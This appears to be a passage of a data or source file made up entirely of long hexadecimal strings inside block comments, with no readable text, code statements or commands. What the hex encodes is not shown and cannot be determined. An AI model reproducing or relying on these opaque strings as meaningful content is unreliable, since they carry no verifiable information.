a7a60b4726c2a06238431880bbc59ae6b27bf4267f35f277264f730e138c3e449e94e0442487c6798bb21c83721c11c84c68d592f4009a4094f9d883fc91b43185b35394cc86ff92d3350cb9cc9b79f5d99f8619f9fe598b23e02a7f600712402924e5e44f5dd7c6871af7a1694577d72c83972e132d4c8e3e3a86eddd9ffee9afa11746f3b5b989fc416034564bff47b1a85df21376623245e28d25331decccdb75f63dac462614bf5b69291af37d0e7fc4e1a711c5d4f63e2340f9f069af8fec498119aa28f505a835e42bd83728072d58599410a84e166de2d7cd9da05fefe46efdeaaf17e9fe6ecc9e31407045243300114da8fb381c9238993ff23f4454ffc4442e3d263bc66fd178d6f8457bf2998dd75d84b33de8930bf2977087c7961f967e883e86d9f1a32b8ec1d9fd78cd5b9908794e6ddf2f8bb9171ae90033ff50b14e7e1f174d8bba77ef61338a507191cdab3bb5adcdc0619dfec177f5070dc29cd7d625c7c1fcc93f5dcc8e83f5c1db0554d9f04a270550535c01bf2ba600068a7de92ab2051eab7dadbcaa9603aebc7c89e4e96e8e043587723f6bac19c99b67fa873681d35018de4fca5765b0bdc20df6018b61829f983f0b764f7bafcc2ac0c2cda303105ce5f63dcc36032d09cfd2c04a60962f1d0fa78194d18411f963812963bbd13564396889ba6d69d04d91ae2dbaa89dbf1d7392a72e11ff2ff66a4d81e5a7df317edb8735917c69529b17a0b78445ab5073bc194b6185058ae7b840b02a0ed111ffbc3cd99c1ef87053881d02fe3dd0ad02299abaf803a6cc94b5f7fdeef0a5b67cad57b3605bb07b16081b37f21e10a8f26055d316aa6745ba372d62d8a5a34761f3573f0060fb9961d01b37417b99f1fa53cb8c4311eeaa4fee27a45a2bd544b9976475e7f1bff04ebdb544e6d167108aef5e74b90711b6ca1cbdac4126cf3e6eda6fb76e7ddd5d4fb8a6146ade56557de1995ff57ca4a9679d10d07508bb32c2311108e5cbfd36cfda34ccd5cf95a9f8daf6773dbd77c11d0d25125269f85961cba4c268c24f98a6c5cabb5fb5bcd03deb0be16d2e116958a21a932ec67c734413bc25433b5e65f3530e80a95e71e8aa0f8369179643367d0876a438e109d0d30f0029c456634505334321c2db95dd2d692ebe1da53781d66735246fed26d9e50859909b5ba29f7d389d9c7643717934cf582559e5c0e71733863bdae97a08b701d1669921c75dc6156f22a0f947ec14005b46d8585f2d327a21435ec289d63c111419486880f4567f1d33bd9b9c1ab35c63da747c5eec725654f6c01601e0ad48ab1f4d72a0a8c5f5e5b41dd7d775371938f432a79424059d722f97676c35e39620ceb4b709f26745cdd0c5079bb48e70754ee4db3c841965a4bd1cbba0adca39764a4bc6222a37a3481df562d18924f63c9b7cecde5d2f2ad18dafe0d6c0f5c61387b4c6356c974247d7f8d5559c403c1c6937ce3e52583acff5f02c82a1464cf85e53b417780c9bdf27ec16ad1a23a2c253477bb0680093a7b3634baba45de79ea9bbdd2fd8535433f7a4de5b8908e0ef378a73b50941883daa2a497b7e18e32272f7a8608b06a66f07956d8238ae668bb68e19e53c2ca4b0cf2eb1a4ea8199e5284304ce208d8e65f7e56d935ef83f03de8e3062188664805beb2238362e0d16ebfb8cd41ae69e6bef70fd79e65bd8206f2893977c3a81cbc98d04597f54197b3f56c528ef2904e0b518475c0ffa53b402caf5e98005c25f64ae8cef6775cd449d2e630289d8a956e5e483c2e294d02b05ac40218e29193758a8593b894d7c59888ef839992e2eb807f6caee54ca10a368655ddbe9002b944788022e89e790cf970621cb331997b3d9d01dfc013501b5552d3a9a4eabbcead9954a99dc5ba23fd4865152f36f6deea3f4c1c0094e28684d8e6222a718aeafd54a014854f5e1d8fd78eeabbf159bfd84a91612aeacce496b31673a0d1cb921cd19ac52ecc83ea5c472ff38121d34169d7307c9fe1a7094cdfd4d585e93040f1015cd983c81668feff3da9c2dfeeabc4ba150e9bb12d233eb*/
/*2b3e937bbb9a18fd1a346ac4cc13f7a01a7bd8516d9f59a101bdff8403b7a6e464c3fb2e4c631492b329e1c89bab6d67af4dad8cd7cd725962217ea5da0ac7ec7449eba7605e634037542d2218a6534729a1af6541b6047af71501bed6d98122e06133a056a63ab15bcba1918d4757de9c92fa6a374c93a97972c74812876d681648806e109da549494307b4c6258173cc0df554ae3379dc41c188249a4be541c7ff85fb00656273ebc3d5c20b7b727e7f5fb6ca4a686b43a7cf5382ad09d1bc93dbfada0dbbfdc03e9a91130f43702b7fc75ea027476f4027c288653a342885fe0b767d2e6c06858a76870e9d1b8e4d9b727c414238ceefbde243904ede43d6957f446d9e038b157c8b9955aa13bcc7b8ac9d8aa4ed6eff1fca4933c3056b681890ba331421dfb466b1130bbf8cb8019298a429c3b2e7e4f9db9f34b4033e4174519bbbfeaea9754bf767ff316a906e284bcf6224eb0dd6d8ed7759b932681b6e3b40fb7e7f561d1663cb3c57bb3b87e5d55320b8bed5694c5f841c5780d476ef436e2e0a595a3b180cb3af8719cae59118e8ef134a60c88fbb0d537db6369890172c81c91258924ea51144a600ec426b5dd48a00dc3ffb877fa370bcf50f2b31c4f39a1b959838dc70e2e20fa13fa51104481af52b5d133c7dda882d0ce0741b1b50e5163f29d4d37d0c96a29866b6a9217945f5d119d3672011ba61aa8e452c5b9f4e6ea414245ffd199a372d9d5a0bf0aa957b4c3d8fab1e57d7abc0cedccd760d7b8a8c0f5aa47dd54c43c875f6a427e69d3ceb01ee9811fac86fbe54eb74688fd26e6b0c54b12ce3929175bbbe2f7e20f93726fc3ab04dd927a88c0af18161a83205a433018e2d42a8648d03d9913b4a81f750aead8799dd75bfc0a2dac472c43a2c1ee9311413a935996f93a7ce728847a9c8cfd1c0f02d30bfbc99d2597bb7671e2eeaebec4c55c8b94cd3c4855baf24f98a4ab665ad2580f9aa68de4a7fecd8ac6bad0dce516c44aa719be83040018856d8f691ade39062ef089b4b57882b05e6f71f10affc7d4ae6dfd19c5decf85f2afa0fe7f0e4f821b82ac70b47112b8d39c08f020f4ede72bccb1bd4f09f29f53b90d88f8194df4dc55beb0cf22623da9472b70c4cb9ba908ce4fdc3165da28d97d827af27d2902542d4ffdb82ac857c1d2f53e3f9d1ed0999c091bff043f377be5416fa6fd19c84ceb92eab22ff3c6673f4c199537773ece235fb713745ba7398dc97f7c75f9938c80452ec2df04ce86bbb2a4df89dfc082161225f857120fc6481ed936a853c45d3dbf8db7ccf19dbea86d379b6053e3a6803319846fe1e1cc088de2b3db9a87bbabf66a88f2fac8b4eb520b4c09fad77865df6e481446f71a2317ff7cad0c1f953eaa5f1774efc3879b37324b485c171000090367ee33bcdf83c428f9d372fe4a4014454e86bafca383df91f25d7b3840ec78fc01b297438a5d58d8eb3cfc99ac6d32dfbe9a6773117eee5f745c961461baaa40522b25999ff5381c7d32a98dfb01b373fdf09528db366f96e78e6552b1825c64a1f1f6e325c14a25ef398ad45570a12477992a18417fc6dade177ce376ebaa00c812b516cc9c3e6e708eecdc3afe95c8ff64634cb4376c766c8b603d913beb801d28ec2234604b2ef3303e4a540a50fa2a14bd0f27ed35a238a093f47b9cf1134c2a216fe3423442ff6ea0a06bdf3b46cabfd720aa550b8446974d517711b3cc3865c8b80b2dd4a61cf9d583bba09c6f8afb09508c54af02f7b1d7ed1d7286d279ed66b65907991342a8c31801b8df40d05d15d1fbf4cfdd19f76a0d764f48fe2569e3d9f9f2d2376ee185667bf530d5ea87dd357507cce44b4bb4fe10ffd7c61710b61ff4fcdbb6435b330064edace0e7e268d7b5cfdec244232d994cb379bd5401631b6c3fb102a1c5dcd05a27752e3bde7c8f78a7b77eccae674dcb9d7dd941d6205ee051c4dd8fcd95f84e350acb92fc87c9e8bca8f15c9107d4854f7dd7ccf7e7560e75cf809aa674f0b8882f926151b115a06c4286a9bb6d52cc0ea266284e1edbaa12ec4a8fa27131c1c3f6416c3873ca23a64a6c92a673f213a22e607f1288cd74be20853180bf7bc22dfefa476c3a14cdf61f6e99c397c87feeb86e016545d64c1068e0597180e80563234ced5971cae27d63e61eedd32c4d9d59d08aca0412dc1ce9af4653ea3db94d7429e9fd44c76f26267999befb82defd9a29d86e0964cd932224bb055137e414ca0c9e12d7e85eef2fae49be45c19ef04930ef5feb9c05cb42caa8da997c2cb10663f32cadde4508c50535b33888c8661eaf21da3c46d128686914a72a2955a332194f2458f08017f50c71dfe9289c75b223b8e7d7620aa86028d1d326fb5ec28b0d184b98482e8d9e534907edf565e50dcfdd5b3918a88b1d1130e4103ea448c134bba89cb63cbd94478290ac0e363d750f005fe86bc8bbd8a11cc3db0c1cab034b8fb1a891ee095bb5952d9d82c10ec3038225a9866625972f809b80db01fde4fa2a327b22e4af753439b1bddf0f6ab0f9dc1b4373a8f5365cd44a1c8091fecd8dad6417753240256c7ebb5bb69341032fb32d6862724286955b186c23ef4d01299aea8d05c940878b3cf4c6cda954a9ff864df4aeba09462c9f699aaeddc7583ce3d6240fa705b970dd3fd0315deb0657c6775a870ba23c04bf4c0ed4efe7d29e32ef1246a68d663c98f73826bafc7faab69ad5ba558379c4fc628e714ef077ba34028f8f251f8fd1ac8ad9a963d7c6cb2b18ee1da17ecdf3273144e814802250798971478c1ba73f3a472a2a52ce34f79*/
/*f56c42109e4a606ce39fc1a1cb41147cbad2f0a168c8d19bfb4f9ed556ce8ceac6176afb239514afe87108de79541374e73125c37cc13263a042728ea5d5443e66db0581e7337eafa12578f4b6ba9194c0acdfbc2a503c53ce8affe8cb22a29b882c485a63f821a1f1e01c00814a4beb5f8400c0bd46d40be4d935b81781212a87130a5a98231921468deb35f829299920e5dfec5353f4e66acdc11967a4a997fb143f94e9a15fa819573d6d3b3341782902131618794131e62426376886206e86ed7db9e13f4788522a3822335bfa98d790561152ccdccf41e53c407d28ac174f9fd1bfdc1eb5b923093dab696f1ec212952141d210baa829952a0b646ef92d5c8efbef5d83b6555c637e8cd2d7ba18972bd7c77518e594dd1b07f30b1b03debe4153abe285f2f20000ce6177f0c5fc0964d799334ce5c598886f1fd8d296ba7a42d264c06de4e3c9f53bc6d631b19c181e031adc1e49efb68ff1ddb911eae4bda6a28dbbcf08f4708b23c53828387d40cd53234badf32197e7408959bfa6b546d2041ee8b3533f0a90c48ffcc66c8068dd0ebdc52ea38cd6de6c5a48e2b3bcbcfb709a3fa248e17b8c05876c8c2039d4dbd04590d71c954294555f6fc3a5972d984371a36acc02bb7b10661758fc234ef26f4285ed2a01480626614b465d34e2e457eff5251059b9d3dcb3fdc8338200ec82fcde73c6fdc4bdd794d1fee6a8e4bb8a9db4d29b8fa6b4db45c78c50d9e40b9555584e2ad4bf3f092ce8a7ffcf1992daf201f593724e3df770375758588be6a283da5035ae297819f3969bbda7dc2633b3ded480d3033e6f32cb736a231ce4da3124e7304d55a725aa09878c6e78ead7058ee75be7f8d8f865d58c6142219fe7ea4964e2556a6d2e83eaeddf1e5fd419b544c5ff3f55a48a5d82be72a4ca9c79863eb207971f21a153215d5e1a51155789546325ed5312831763cd5bad265e3d16c50f83188183fc65d6656f38efdc72944ba3816adf479365649c317295b33e8d7eac2a59ce77fcd23f0cc41989b801e649a4117369647dc9250bc2a56f93410de0f28474443bde34a377762eae46f6488628ce3e2f2bb29351687c7aa1014389117aea643e46e6c2d4283ccdd2f45c87196da6490c335e35ef321514ed8e57a211f399f00f473b9a323941e491baa827a6bd388b9d225ec99eb7ad7d4516a6c6bf4b3b5608908134c88ec7fc6e4dc27d5f57d87de57bec4970a5d883edba12fa2efecdfe6ce26b003ca680584a705dd28161aaf84634f52adf1cbd7b2ed2da454f9fcc1a4a6fc353342e72b3beab8b57052deeb119311de45fbbcb43d24c9bfe0a6901c9b140767063ddddbc387f02622f2c9ad24c338654c65e772a4dd570a9ae573b2ac9feae694d714cf6749a78577c1c76e28cf12d01a714ee2975eb8e07063a4a35f06e1fb385c0e3e7825ecfd1cc7a68b0facb570a9fc0781db0d4adb96cf33a607557164ef8968f24f5f361de2456963ca3e6bcea760ab3cbf8f94b2009828e2492dd7b47a21c35a76f5085553581cd1dd8c68405e61882fbf1b77e0c39756d8148f18e7f72a8d450cc4fa41e6a53efe5d68d64f45aaba8b35d20664f869afec593f5f6187b4194aced674fa7bf20f26c8a940be8e99d65b816626db62d57ea18ede4943b8bbcc5b91f6f114fac03fb52d986b2abd048cbc87b9e025cbfb63673da30df1959c1fb0dd06fd6756b14d83d1fe8335ccc2dbd4bbcb4e95266a2d845bb5c206393313c4a72c3e47ad9ff8f29808c1757280e7cbb4302c7aded4b05fb7c10dadcd41998152d799d24a0fd9e30dc3a28ea5fcf1faf67bf6ad24c4b0bbf83296fff215a35400aa8c710efddebc96d7510ad4feab6b230947252d05dfab41f1969f5ab1c721e05d07e482cda974cca839aa1b975ae0a98ed61dc989804256849a440e85c720936c8d7c40f1aeebee08217cd0bcd9a0c7ff537d61d2289c88b3b4beaae42fdb799b068c5c55a489bd198d4057d00194dfbd043fec4679198cd0b5a5a3bc6ee2913ba50564851f5d4be4775dade7bcfc382ea503af661cfdbac6c4edbef679564f880ff93b8da8e0a2695821ac7d81097c0e8d6e8c79472460fd947a3098ee84473fbac859f1b52fd8b56bc79cf1a3b88955cf42cf208d595746359ec7b210399504a6bfb5151eff2b0f957c8354ed53ac70ba801dfa50cb05be20d2b50b8655ad853da878152e2830fdbcf3bf5883656c08cd51ea06bca5ed17cb41766010396f4a9fc1446a29db4d597013b4991503e698c3b69daadc38e7d0cea537c0eaebe26fa52499678cd2543025149efe03c2196511319c80b23ba930d7df5567d379e0b2a1336959f736f5e207a135665d43099cd8fe2678d98f95cc5da6a4b3a136ce2dbd22cb074c433ff567d14f95f170eafbd602d69a2f167cdf2f5b082a7716a6af05e8a55b1d93eb3e558151efb98d2724f99c64939078cb48b923c7f01799cafaeb17f44ef7884b2b4974421a34d809a5c2d7df361db1be0037f307befe137b1406e51bd86c6011223ab21e3a5ece74dc98300c76875bdc3193097e992ec566ae736af6780b624db9c868dd266ca47991cfc7bc7b50a0cffbdf0e2b5f9a076b8e2a9ab1672a55bccd983e9dcf46fdb464b4b512f878d617de01c0f302af18714acf093475757684f320c125b32d9017e342e39ae60e4174c34a90e3e57460107f9fcd261b4b057861e5692e9ab2a38d00fd4c6d3c7c2ca5db2ac1f00c4e5167bf0da81607fbfd176446cff80e5e02489319479989b701047ec3a1845bbab0ff2848d37cbc981501d41ae43562d4336*/
/*c301fafdfe94c7b126bb3b9409bdd8fc1581559e8519ea20df7f0b3f48d3005800e44f74a2c753beac046147c087fe93aacfbe6404bc01ac71f8151354bda8a11f3859aa35e4b064f06b3f4a3b7ace7f247ca7da721ef7728e702dbf2221137888a4dfaa6da79399749d94a23b961365b39451ad84994e3f1feabf61a45445ab9320e7ec4b118c3cd285b831d8e2f7793da28426d6765b2b02ef7e2e7c1e1b1dc67f2ab5657a13aa5d1843bac15b4778c655353d6bc7ac7dec127f98cb304f7584bbb1bbd8f4b3c5ce8669e36bdbf50e9521a7820a4a56faa32baf321e714be2fdaaa5a0ed70eac3093fdc2db5be5d0120cbd9e6d23a3aaa0a9400c46350d3a5af215f63fe362326c4a3bed41572f430426e44670463caeaaa7462aca24e12b3ba349de338b20935025ef35a7807e769d3fa1b7475d1f82c3327158b70716c84f43941c98b10500e86183943c392852eb525577d6c194021973867b2b2481408b71e9c536c6391fcbc63b1c840151f1af1048018bbabe89cf067347fddcdd79e050633e59dd51309a53fb0de45c78f02e96586cb020dcf04ea1420c43aa214e82723720306f90c239d3338b401b2e2b372e02f8abcd524c8ea8afb76aa7647875335c6b7e4a68455fb039c781d5d2149bb91f4dea55fdaf09fb4fb92dc207fcec3acaa8299824810659d1de0a8100252b77b36b0f55755a577f166dffe0af70e7668d269054c321703369efbbc1bbb8da75e5a09e846e09b8724e26f325cfef59ff186514dab09911086f73a5ae8ecfd1af69cde355df5a3752750d21bb451e90dde5ad02e516123ec42c7fddb21c76e473ca2ec3dfea19737ebd2e2925c276ab6db8e403ec21a3018ca8f30e52e576140b77b1ff7e7609e22f9ac4760dbd54f28dd58b6eef63f937a78409a5195394c925e01d89e133fa07a8bb628c766dcb8f614fcc9383290b57b5faa681433b6487f45df34fede5e0f3b4eb825e9f74ba6b574336118ce9237db580fcc5d4fb1a54c74b7ab25ebcbc23aba258e1d30f2c797a765d0d138e3b3cf89aa3408f19b0f83e52b4da904183e8423bce6566d9daea0842929e1e9b57e73d5ac88d4d38787328f046732cb50e7d136ac4fd7acf70e46214dff02c98fb1ae76710c05be770fe2fceb661118ff1a22d97d9e364de83751ec332a0f2c936a3545839e442ad3fb4833956acaf6a63be7f91260392bc1e2f5b7ce3e3ffc3a2c1aec2ac06ff168b6f4d4e6d34efa317aca397eaccb372fb77315487c808dc057313b40fae8624c6f39f7a68998626edfcec2820536d1e52c6df4b4516806994d27dc03e33a6b873f77401621b360e9ff4236fe2a5c45ed42ace53211035ae741473d0e6e6e8c8f762eb436298e63077725218479bc31672dfd85d71bccf16cb50f862a73327834e0ce73e93959611b709665304af23bee5b3ba3290f479e93904e458411639ba64bcef56938142411a0a21c54d844288d291a717a7addfe5320188968a711760e7458f04d6810896abaf8e3e51839dcdd4921b79363ae593ae664d34d3a69dc97d8551d31bf3eba07f071f975191c15c21379f5462b097c9d5f927fbb49fbef2a282a417edf281105988e25a3009fe6a60386567c247e21b8a69cb419cc4a470a2ba67f4e59324aff9e3ae7d3ec2f9565e782436534aa40f4b894f8db569faa28296d14f944d16c36a73167b9d797b6beaaba2c096f7b723630e01ffff4554863cbd46ab136943b503226e9680870cdda5942b7d3cec067f5bc078e892432fb9863a9fdf4e0179468f2efe4f3a03dacebe984ec969105e5761bfbad06b6da10da444d8fab8caa6bcd5be4de5303b543f0fa252886e23b8479389493c0f62388c751ae7a6196771aa9441faddde97268563a502d8d668f1c5a760d8ac3db9124caab065d22a12bac031789135f824be56f54d8d83fe72ea456ede1ed18121194bb236c50b477e96e1d8145898ecd42caf56b71241450ae99e19fcfee9757b5f73cbc075a29a3f2ebd98609d8b3c90cac916e5d85fc6eafa47feb4dabde1438bdd16c035570981069de173f73b31289f25506b1003810ae421a1892ee6eb0b916d5ee01cd8855b5a160fc6fd980867951fb938a6362897f7d8d922369c0785da86db4534400ed651e6dbace216f0f026310e382e9c15d0bc3893933612c5002e86645bde90be45fdb1c0ee27adaf653d316f3c6da54d2c707dc9933c06b18cf818bfe333df98fe335bd2bcff11dc961536072e9cd7073fbd39d5122416a81ed8ef25b8c3fd2599a24ecbd1923411fce90d349d01fca060caffa2c770f75c78acde91ce0483ecbad6f401b660d0166c257715ac74cc00687aa6558e27c1c3d4f169f4eeb9529e2d5d4ea544ba0bb26bd5d57dfa0e64a41a6d548cb354fc674778821ab80d8b7a64f030648d574f6d6c254f079f47f4d1750b868fbe7c342eefe6e01bae7e6b6f380af24800a962068d743cd9c2ab56d722114797f7178aff7f7f2756214e4790e8d5513e3cad2482657a892a26f15ca037bcba2e325ec725981e64876d2392df7ac55b45090486711010ce5311673054fdeec4e4b120e9d0a27e546d44843aba36aa8fb1f4ff98ec88c64924b3c027be35b353a864735628d65f5e363f88a88bee3eb1f9981f3c7d1a46948b4e63138b86f58e1115299d39c4761548c9e3d750fbf496c3932069695e81938181f6b4f6855cc413935228fd8423bd06a342a3109edcc9813208bf31eb3c5f312846601341f764109b69c4e1c059c1b968a71c895a35df5a4b4b31e4a1b35f0904fe742b146db0c52c68c80003392a4df*/
/*53959b6174c6d4288aad40107ffa703bb822ff14aca348ecbc6a66d60ecaa568f3c5574ca83698518a0145df1e5d4641e715bbe47e082cc2bf58dfc96bddebc066711df2d78d3d782ed4caa24d2ef6b05867401e5960e4125722dfc3981f61c8f1ff8d4ecaa3d49059b9b38fd107882ea8fde23df4502d83757096d47831e89ca78145758a559c1cc81d7fbb08a605793353c3715671f2e6ac4d0a43fc6820c66df5ad34482beeb6fc87e7fd19b440debad48c4cd451452db24d89494f82cd83d41f36b36a17ca6c273d52029647097ddf391ba73a2d4d540a38ba659c0f16e1667fe602a9ce5090a189bb40804e26759c0a3fee0b44551b9edb4a502c0e1c65057521917b6f4d161dc89e955c6937593f527e1e49b135fecbdaf64179a598a7e0f884751e48cf35675f02119dcff54cea47f79bfaa4ceba1da69c10803afd8a29c88e2627b4c62926e97808f9c666f42abad57ff4ed6fa23808d7cbe09ec4b24610ec11f088b9ff6e0b3ec493d2e4a844ce172a1a321ed90b23db36ac247854940f5167087fb4c192c5fef34f2a279f0cc469b14a8ab324a14b227e60c12898f73986a6df9ee118778be07938bc54dc720fe2694262a7210232f78ea493e8ed78ffc1aefe5f0087840df35a3036c520d02e90908022c1bf6045cb695e6d3e37ab166bb3e1e6d68eaa1fefe849fb5ebe445440ce3c0b95f98c816498459fb058d18184f8f332396a085fc3d05c6f433cf7e445772056478dc2335c2e8fdf8d4c0b741ff390c0a6e6e294a16455e3dce1a09d760f3956a2abf270d9f2f60bf92a53333a584295624c43b8bcac0eb6cfcd23af426bf79471ba27b48513300c3288a52cf47925f80a1f85c2c5d15b5a2caa875b79e062f1fd15ef7f29e9ccc390eb80b40fab3a83f2f72351dab4f22abd90b997ffbfe05fe3ea226e3f1ce4948e092601337fb5444781e026e605d9e13908f0d0347e2c04fc6f8c0942a12c88e0119d08fd00fdc9a168cabc79096568c9209e7fa23ae6a3d3ce86b630fd504d9aea19e4ec5c56ea78060e04575e70e47d424d811696090e75b39f5e33e7dcb9bf578604a55f8f0d68cc40958ca03d0a7ffb0eec88b518f1f1c46e70a842b0fab4f3f4d9ea732cf49cef25e25f25f35bdead96e6c43546573cd7c590c74175b7531ee4b4d1d46088905784569f8ce802e9e59a8283f26f262ff84f95fb5850d5ac24aca81d6e228e393f7e9daffb27ed44811f043742cdfa14c54232d0b400312d0b577553a721c2f99575ed5c41d50c5566d3d90b138f16ae718b9e87bac2c22398a3f53bad9d7b0fd3ff1ff11673a2dc6cf838034e63c3e68a51a901e571648fde5fba6941000bba8fc187f537e85e1c4b42ee96e87f36a37c15921cf62e910e5f06aaf0f2e6ff2ed03b00bcf2eac951475f62ef590c08d25996ad7a79170b24afa693363fe357384abb55dbf9d76c5d9eaafe55ed329899523ff2ec8f8c4ae2bde4c8f4c2d666ddd96cea5009ceb0013eb2e4b1a84b4f1efff9a4a068707a86b24297c1b4e6a6ce4d26971ed3bd3c1a6d54e9b6e665a333ded44046e15c1402dd652d1ac4f252e12dbb41d18b21251f7c02650d53a20e52856f5ec7570f24c1d0c8e5360f4554b0fa515dc2cccf7db0cddf6bc3828a6eeb1e382e9c80830b57841e139b4f6b917b17e53fd9f3c4b6682f3693d293d0d9014766188777cc3d40be1f235f25cc43ffef1db5a6ac59cd588e4fcda97f439d06fe1a42cdcc0f2dc38fd473f0df7d42627fc4163ac50cdc959c9556c792eb9ec82a8351b12d7dea54b2cf45d34578f3a20ed6ff94384c296a0ce004de9c357879d78cb15ee692e71d58b7df07e6189ac09623928b691e430b9b2a5e82151372533ff9b95f25c0a77cd6d6868e802382219214181c2601a3c7a5d3fc9c410442393940ec9c8982c5a26a63527ba19ebc4933ac69fb96d8b1af4c9b1455cf53f2713a5a906d4bec954add97011ab2215797f7ff7352cc7125125a54061c61e38582fed8f737dbbc4d23faa4fb0dda709d170d010cc645bf91a5988ad6f8a365e921e8b80fea59398845e3afd4fc56b37109ed4e77ab71664ae6780c4302ebaeac5cfabef4b5037a5522c0ee6b5a0e3f979f208d5dafa4886cdbb8955f81fb8ef17dbf1ff53f351cd94cbfabfccaa22b0b0eff615e6505125cd980aaf235494746848cdb1995e973c874cbbdd8ae6e61f6ab2066efd27805cd0489476fcc747daa6e5a6b0194ae12b652cb37f5838ee16362d84948a1dd9781776f61e1e693a47735014d7069f7610b8e9221bf3dce45304813de24beacbd391ee4b199653e4283ad4ed84c13a938e2ae7b55d0c560c164a4be9ee304a5dc69393d8f570b2a8152cbd46ef8de35d8713137038d85c0c4679b0047b1c5bdad24c53c214ba393b31e22e17a94c06da3517793e9741cebe765a156511d6bd6d37d761ea638c59267826a42b88f058bfd0ecdb994be3f472b5b4213bffc997ec727156267b4a48b7388b47c764c9288982b96c71dbe2f1669a9f5929cc8a940206f7d3078561866539adaeba3917f5b861ac66f019d0ae1b44d9d9c355e05eceb1d8540b6a178105473f944fba2b48f26aa8ef96ff94669f686d45abe748b2c4ac0fe4af00647b2a16432c50754e154eba33fef2bed3582b19c2d5bfba9088d20eb079d8789c7242bbd9673c2040ce9f0ccbef52613ba5721b88a664f2fda54ee5b2b6e12d8847f1bca8cd49ccd735342b711e65f9ba9dbdde1d366f8d761d9a5515fbf4b2e86463d7fe148ed45d82e332c800f64e3dfcbeb516724dc3166b6bddcf499*/
/*f9fad2e8308dd689bd1860adac11063e48abb7fd87f025d8677cb64b332fd7f3a2df8160c0627d765b6c4902303395dbe919df52b05373f7177c25e1dcf1af531eddf00503546c39d1af4c4db8fc0e86c8db8b1053e785d423fcac63cfa0d89c2aef9d58cb874a6bcf0886bbc9c24afcdab8829737bb1dac1cb98afe65f73567b66cf2f7381dad30a1b587c80bfa1c9a3f61a401f8ec0002a48adb44231e30ad63929ce6d126fb354f6d87fea616d5c73d7bbf0a2d08409b125f08ff4557d766de0ea8993c0fcfcb7eca81c5845c56d14b52650b0b3d6d1cce9419035ac73eee59e498bd409f9639a5e32cb4ab99a62565c9ed9c09ccaa5d54885c4a6408f0b1717fe1ce823bd924e6873299d21666d598c6cf053185b17d6f88cbec17cf41be08d228e94ca0d7d436fc29e822d51d604b6890c44a54369383c9bd5461e8e93e8c971e5de6d831d12b97c0ccee37d036c6f8d6efa616132bef1f645f39c3c0db2546b8c80491117c52e5b8633f70d1d8b16067f46aa4befdade31e2a91b120934b4665c2b20f9b2d2880e69f1f0f4d0eb76c010d6de7d53884ce4383d67576a4cd37efc580b388082bfc46253a842c230eea45ebd6200b0839d04dcd34de460f116e3ba630667582de0912080c1ae5360ce71d44dbace130bcfc96642d7ad0df89a41bb164cbefd1cf2196eab630adc5f88ae9d8be24f17aa11a70cfb7da7e1007b76eceae12393d83636d5ffaf529c89baea192d76e895796a353119d4b19b2e64c1035d3fb0c63c26b363beaad21284cdc83e49ba8ef93b8ce3d34fe7ae9fe138f5554c6e68814ba03a38bce702e63077b6d48b758e5be93b9a6c6caacf7e13e3648303d324181c3fe784717ceaa94d7f9bf92a9bcdc559388c14ac5fae149365bd868da60e25a80c5e0c2de4d6cff5846152737323eb3def142f10b126542e92303d332ab9b772ab2be93c0e5a93e93b4180f0325e41e703ab94c1880ffdb61ec99000c0b25d1b76d0fd1140a214f1a003d4d787c770cb4117308c7a7a5191a03701b48f13238615ee31890ebc98b4ea812e264e743e2c2ddaa4878d485fb5c287fefc35e7b4be4d85f01291b8fa698cc6ae81cee3f6360dfab14aa6a9619d9cc54fc3d8cc96bcde99906f86187394d19bf5fc2f7d0ac6a1db43f21254905346f969c2da205886b5ba2393f7d1fdf059a40c0b8218eb8ea58af3e86d3c704622089bf6b5ef821d918597f1190609bb3080e786e525179255c54589d7898c8acd2a3bc373ca113c9ba6a108308dc5dc188d871fc5914f5f9fd011a2880b7ef1de32b6f6043ce7bebb370f6cff1ae90071f4508a91e66384c7ccef01169032ef793f8a516547392cce3de7f83b6bb3a6b49b8b75e4e5c2e82df7388d61b43933ff0a99ffd7ba50048d7c40c816059963fa7eab497b11ea0a5b8353e2101293c24aa5d19112aeae18337c51a1c42ab77e52d9b91d743e3e77f38586076eb5c59f8fbcde6cab8daf6c328cf39fa63fc58628f592704fda59f2a487625cd11907df7c0047567c78bd139d781b270e001da7932d6289783c7214937be771f87ff560084c75c846ef5c252d9dee7948ce39cad762743c736037a92b3d30b711aa4f10ef4cbf2b221d33b65904c58fd2f2521496e73a90e93d6fef7907f8df2956da80741ef67e0f0ee7b693a31dd65407ba0891b73c842975c90d270c365e045e53693bffd3abe60b87c0c4d631f2344ffb7e7fa89553e1e284c00f584a49cd0c62f08d2fe37db494a512a1251fdf8260320792bebf0e4321b1715cb4a5ca1c5f2b7c447e18689463a7f568c2123a814a099ba9f9d92e21498347950bd865f9669eacc56fa983839f740d35fc6b536ab1de09c0d48b4de7d90a2f7db37c9a962f5b0ad7f4544aa537cd534f593d96a85e64677c87f5afb5ed85c1d03a95c6522e4f605ba20a8f7e1f9489bddb6762263f30e12ff407ec6429f38f745304de67932cb7a619845149ff1c977c6b884688601b630322e99b6c765bf0d325a95efb121fee4e67f19a21a5f4b18e089fec63a395beb92e5727fccc01fadbf867874e9d33d19d9a85eb306f2bdaa40d9345bd1482612670c413986c5c24b7a09f1b4123201d8b0eb24cb45248cbac234ed76724c30e829170d8d43bcace7f2621576c0895ce9efcebb72cbfe0044377cfeda8bde55aa09467a70d130274def918ee4b4ce9e3b98f8241b998c37f1354a8e318107d487f3a3165dcf35722f55b25028fa4a688d3105b3911f66313e821e61bd44720408e0ba8f3fd848f0bdd235dc5cb42c5a976f6980b9298062e4626bbcca683fddb491b8d5eb3143965417189fb18c21f02cda1dd150fe662dbbb6f8ae61a5d14efba823cbe25178919ea1d3b2b4a092c97f2e666cfc94dd983d3785ea42317a1e40d8dff13a66849a8d4a75647674859303bdbeda83279ecbf05983104cb7fc3752f5d5793ea1a80b9241426860a348e9fc1e77e4aed226869b1057e28d10bf885b32854add96c6e62a739e88956b3ec24f7f011f4b2715e4c16199288ff142d7fb20fc66fcda26156492208ceaead5a51d089106022dd2ae7827d8b72546ecc70f210853af1d3d190e90fbc7ba5015f35c2d9f3a679f5a526189cc1a9822659fc48367bdad692ad144994cb6d324fe2232ccef0f6b9fa929e83428eb383fa2561b7692be653b0ea932bfa03e0d40a350c8c5693430edc6ebf01f5c6764c8ead1dfe0a7703ba3c8e8fd2ca12bb40353bc560f9713687343abf8f53e93b4770cdc9b5b473b3c30d4b6502738809ac5074fea5d99079d5e4e0116e664c6212e275f*/
